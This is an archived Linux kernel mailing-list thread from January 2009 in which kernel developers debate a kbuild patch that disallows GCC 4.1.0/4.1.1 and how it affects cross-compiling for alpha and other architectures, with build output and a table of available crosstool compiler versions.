Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758783AbZABSFe@vger.kernel.org Fri Jan 02 19:07:04 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758783AbZABSFe@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIoQF-0001uJ-22
	for glk-linux-kernel-3@gmane.org; Fri, 02 Jan 2009 19:06:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758783AbZABSFe (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 2 Jan 2009 13:05:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757656AbZABSFW
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Fri, 2 Jan 2009 13:05:22 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:44475 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757624AbZABSFV (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 2 Jan 2009 13:05:21 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02I4SSU024563
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 Jan 2009 10:04:29 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02I4Ril003259;
	Fri, 2 Jan 2009 10:04:27 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20090102175737.GA5818@uranus.ravnborg.org>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.426 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:774504 gmane.linux.ports.parisc:1103
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1103>



On Fri, 2 Jan 2009, Sam Ravnborg wrote:
> 
> Bugger....
> Now I cannot do cross compile for: alpha, arm, m68k and sparc.
> 
> Not that I actually try to run these beasts but just being able
> to do cross compile has served me well.

We _could_ make a "CONFIG_COMPILE_ONLY" check, but wouldn't it be even 
nicer to make sure the cross-compiles are something that might actually be 
expected to work?

I realize that cross-tools tend to lag a bit - the pressure to maintain 
them tends to be much lower - but I was sure we had somebody who did a 
reasonable cross-compiler toolchain. Is gcc-4.1 really the most modern 
thing that is easily available?

			Linus

From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 10:05:47 -0800 (PST)
Lines: 18
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0901021004440.5086@localhost.localdomain>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu>
 <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102174641.GA27287@elte.hu> <alpine.LFD.2.00.0901020953280.5086@localhost.localdomain> <20090102180110.GA7425@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230919618 8372 80.91.229.12 (2 Jan 2009 18:06:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:06:58 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:08:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIoRH-0002GF-1t
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 19:08:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757464AbZABSGq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 13:06:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757597AbZABSGq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 13:06:46 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:43801 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757464AbZABSGp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 13:06:45 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02I5mxg024669
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 Jan 2009 10:05:49 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02I5lEN004316;
	Fri, 2 Jan 2009 10:05:47 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20090102180110.GA7425@elte.hu>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.426 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1104 gmane.linux.kernel:774505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1104>



On Fri, 2 Jan 2009, Ingo Molnar wrote:
> 
> So what i tried to point out that your patch causes a regression here - 
> we dont filter out gcc 3.0/3.1 out anymore.

What I tried to tell you was that we don't care - nobody can have it 
anyway. If somebody tried to compile the kernel with it, we've already 
refused for the last 2+ years. So there are no old users out there. And 
there certainly aren't any new ones.

			Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 10:08:03 -0800 (PST)
Lines: 13
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0901021006150.5086@localhost.localdomain>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu>
 <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102174641.GA27287@elte.hu> <alpine.LFD.2.00.0901020953280.5086@localhost.localdomain> <20090102180110.GA7425@elte.hu>
 <alpine.LFD.2.00.0901021004440.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230919745 8838 80.91.229.12 (2 Jan 2009 18:09:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:09:05 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1759342AbZABSIt@vger.kernel.org Fri Jan 02 19:10:11 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1759342AbZABSIt@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIoTJ-0002tl-Hh
	for glk-linux-kernel-3@gmane.org; Fri, 02 Jan 2009 19:10:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759342AbZABSIt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 2 Jan 2009 13:08:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758226AbZABSIg
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Fri, 2 Jan 2009 13:08:36 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:37034 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757888AbZABSIe (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 2 Jan 2009 13:08:34 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02I840i024820
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 Jan 2009 10:08:05 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02I83tF006107;
	Fri, 2 Jan 2009 10:08:03 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <alpine.LFD.2.00.0901021004440.5086@localhost.localdomain>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.428 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:774508 gmane.linux.ports.parisc:1105
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1105>



On Fri, 2 Jan 2009, Linus Torvalds wrote:
> 
> What I tried to tell you was that we don't care - nobody can have it 
> anyway. If somebody tried to compile the kernel with it, we've already 
> refused for the last 2+ years. So there are no old users out there. And 
> there certainly aren't any new ones.

.. but we cetrtainly can add the check back easily enough if you really 
want to, of course. I just don't think there is much point.

			Linus

From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 19:22:48 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20090102182248.GC10072@elte.hu>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102175737.GA5818@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230920613 11425 80.91.229.12 (2 Jan 2009 18:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:23:33 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:24:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIohF-0007Hf-Tn
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 19:24:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758374AbZABSXR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 13:23:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757690AbZABSXR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 13:23:17 -0500
Original-Received: from mx3.mail.elte.hu ([157.181.1.138]:47692 "EHLO mx3.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757500AbZABSXQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 13:23:16 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx3.mail.elte.hu with esmtp (Exim)
	id 1LIofc-0001mr-Sl
	from <mingo@elte.hu>; Fri, 02 Jan 2009 19:22:53 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 5BEFB3E21AA; Fri,  2 Jan 2009 19:22:48 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090102175737.GA5818@uranus.ravnborg.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx3: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1106 gmane.linux.kernel:774520
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1106>


* Sam Ravnborg <sam@ravnborg.org> wrote:

> > And it all looks more logical too, imho.
> 
> Bugger....
> Now I cannot do cross compile for: alpha, arm, m68k and sparc.

hm, i just did a successful cross-build from x86 to alpha:

  KSYM    .tmp_kallsyms2.S
  AS      .tmp_kallsyms2.o
  LD      vmlinux
  SYSMAP  System.map
  SYSMAP  .tmp_System.map

  phoenix:~/linux/linux> head -6 /dev/shm/tip/build/.config 
  #
  # Automatically generated make config: don't edit
  # Linux kernel version: 2.6.28
  # Fri Jan  2 19:28:14 2009
  #
  CONFIG_ALPHA=y

with these commits present:

  f9d1425: Disallow gcc versions 4.1.{0,1}
  f153b82: Sanitize gcc version header includes

what type of cross-build breakage do they cause?

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 19:27:35 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20090102182735.GC5905@uranus.ravnborg.org>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102175737.GA5818@uranus.ravnborg.org> <alpine.LFD.2.00.0901021000020.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230920800 11960 80.91.229.12 (2 Jan 2009 18:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:26:40 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>, David Miller <davem@davemloft.net>,
	Andrew Morton <akpm@linux-foundation.org>, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Vegard Nossum <vegard@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:27:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIokD-0008GN-HH
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 19:27:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757682AbZABS0D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 13:26:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758728AbZABS0C
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 13:26:02 -0500
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:56401 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757682AbZABS0A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 13:26:00 -0500
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id 796D6F8401A;
	Fri,  2 Jan 2009 19:25:54 +0100 (CET)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 6D925580D0; Fri,  2 Jan 2009 19:27:35 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0901021000020.5086@localhost.localdomain>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1107 gmane.linux.kernel:774523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1107>

On Fri, Jan 02, 2009 at 10:04:27AM -0800, Linus Torvalds wrote:
> 
> 
> On Fri, 2 Jan 2009, Sam Ravnborg wrote:
> > 
> > Bugger....
> > Now I cannot do cross compile for: alpha, arm, m68k and sparc.
> > 
> > Not that I actually try to run these beasts but just being able
> > to do cross compile has served me well.
> 
> We _could_ make a "CONFIG_COMPILE_ONLY" check, but wouldn't it be even 
> nicer to make sure the cross-compiles are something that might actually be 
> expected to work?
> 
> I realize that cross-tools tend to lag a bit - the pressure to maintain 
> them tends to be much lower - but I was sure we had somebody who did a 
> reasonable cross-compiler toolchain. Is gcc-4.1 really the most modern 
> thing that is easily available?

Asked google and it found following page:

    http://www.kernel.org/pub/tools/crosstool/

Architecuter   OK?    gcc version
--------------------------------- 
alpha          No     gcc 4.0.2
arm            Yes    gcc 3.4.5
ia64           Yes    gcc 3.4.5
m68k           Yes    gcc 3.4.5
mips           Yes    gcc 3.4.5
sh4            Yes    gcc 3.4.5
sparc          Yes    gcc 3.4.5
sparc64        Yes    gcc 3.4.5
x86_64         Yes    gcc 3.4.5


So from this list of tool chains we can continue to do cross builds
of all except alpha.
But the gcc version is getting ancient..

Why it shall be so hard to do cross build toolchains is above my
imagination but then I also never looked at what it involes.

Added Vegard that maintain these pages.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 19:29:15 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20090102182915.GA6143@uranus.ravnborg.org>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102175737.GA5818@uranus.ravnborg.org> <20090102182248.GC10072@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230920870 12163 80.91.229.12 (2 Jan 2009 18:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:27:50 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:28:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIolU-0000HE-Cf
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 19:28:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758683AbZABS1j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 13:27:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758180AbZABS1j
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 13:27:39 -0500
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:55300 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757902AbZABS1i (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 13:27:38 -0500
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id E2C0CF84032;
	Fri,  2 Jan 2009 19:27:34 +0100 (CET)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id DB5C1580D0; Fri,  2 Jan 2009 19:29:15 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090102182248.GC10072@elte.hu>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1108 gmane.linux.kernel:774524
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1108>

On Fri, Jan 02, 2009 at 07:22:48PM +0100, Ingo Molnar wrote:
> 
> * Sam Ravnborg <sam@ravnborg.org> wrote:
> 
> > > And it all looks more logical too, imho.
> > 
> > Bugger....
> > Now I cannot do cross compile for: alpha, arm, m68k and sparc.
> 
> hm, i just did a successful cross-build from x86 to alpha:
> 
>   KSYM    .tmp_kallsyms2.S
>   AS      .tmp_kallsyms2.o
>   LD      vmlinux
>   SYSMAP  System.map
>   SYSMAP  .tmp_System.map
> 
>   phoenix:~/linux/linux> head -6 /dev/shm/tip/build/.config 
>   #
>   # Automatically generated make config: don't edit
>   # Linux kernel version: 2.6.28
>   # Fri Jan  2 19:28:14 2009
>   #
>   CONFIG_ALPHA=y
> 
> with these commits present:
> 
>   f9d1425: Disallow gcc versions 4.1.{0,1}
>   f153b82: Sanitize gcc version header includes
> 
> what type of cross-build breakage do they cause?

The default gcc made by demo-alpha with crosstool is version 4.1.0:

 /opt/crosstool/gcc-4.1.0-glibc-2.3.6/alpha-unknown-linux-gnu/bin/alpha-unknown-linux-gnu-gcc --version
alpha-unknown-linux-gnu-gcc (GCC) 4.1.0
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randy Dunlap <randy.dunlap@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 02 Jan 2009 10:28:48 -0800
Organization: Oracle Linux Engineering
Lines: 53
Approved: news@gmane.org
Message-ID: <495E5CE0.9010800@oracle.com>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102175737.GA5818@uranus.ravnborg.org> <alpine.LFD.2.00.0901021000020.5086@localhost.localdomain> <20090102182735.GC5905@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
